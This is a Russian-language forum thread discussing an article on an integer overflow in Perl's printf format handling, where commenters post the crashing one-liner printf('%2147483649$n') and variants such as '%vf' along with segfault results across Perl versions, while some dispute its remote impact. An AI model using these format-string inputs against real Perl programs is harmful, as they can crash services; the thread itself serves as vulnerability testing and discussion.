Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
Целочисленное переполнение буфера в Perl
 
Обсуждение статьи Целочисленное переполнение буфера в Perl
 
Вау =)
 
Что то пример какой-то кривой.
 
Core was generated by `perl -e printf("%2147483649\$n");'.
Program terminated with signal 11, Segmentation fault.

Core was generated by `perl -e printf("%vf");'.
Program terminated with signal 11, Segmentation fault.

Мда
 
Не надо торопиться.:)

This is perl, v5.6.2 built for i386-freebsd

Не падает.
 
Segmentation fault (core dumped)
#perl -v
This is perl, v5.8.7 built for i386-freebsd-64int
 
Цитата
Гость пишет:
Не надо торопиться.

This is perl, v5.6.2 built for i386-freebsd

Не падает.

> perl -e 'printf("%2147483649\$n");'
Segmentation fault (core dumped)
> perl --version

This is perl, v5.8.7 built for i386-freebsd-64int
(with 1 registered patch, see perl -V for more detail)

5.4-p8
 
printf("%vf");
printf("%vs"); и т.п.
 
Вот вам и перл, то-то радости нам пых-пыховцам добавили :D
 
[dmitry@host dmitry]$ perl -e 'printf("%2147483649\$n");'
Segmentation fault
[dmitry@host dmitry]$ perl -v

This is perl, v5.8.0 built for i386-linux-thread-multi
(with 1 registered patch, see perl -V for more detail)
 
Как же любят здесь все новости подавать в "жаренном" виде! Не Security Lab, а "Московский Комсомолец".

В тексте новости многократно повторяется "удаленный пользователь". Ну  и как удаленно воспроизвести perl -e 'printf("%2147483649\$n");'? Даже в оригинале написано: "Perl itself is not directly vulnerable to remote attacks due to this flaw".
 
perl -c -e 'printf("%2147483649\$n");'
-e syntax OK

[sinai@altera]# perl -e 'printf("%2147483649\$n");'
%2147483649$n[sinai@altera]#

Все зависит от кривости рук программера. Гониво, короче. А про удаленного пользователя - эт конечно загнули. Или секлаб имеет ввиду, если программер корявый код поместил, а клиент его выполнил, то это есть удаленное переполнение????? Др. словами, программер сам "поломал" свой хост. Но это не есть уязвимость - это тупость, ошибка программера.
Тем более - не везде это "работает". Сверху "живой" пример - никаких переполнений  ;)
 
ну и бред.
наверно, статью публиковал озабоченный php'шник ;)
 
PERL -v => 5.6.1
perl -e 'printf("%2147483649\$n");'

DoS'а нет...
 
%/usr/bin/perl -e 'printf("%2147483649\$n");'
%2147483649$n%
%/usr/bin/perl -v | head -n 2

This is perl, version 5.005_03 built for i386-freebsd
%/usr/local/bin/perl -e 'printf("%2147483649\$n");'
Ошибка сегментации (core dumped)
%/usr/local/bin/perl -v | head -n 2

This is perl, v5.8.6 built for i386-freebsd

Вот так вот...
Страницы: 1
Читают тему (гостей: 1)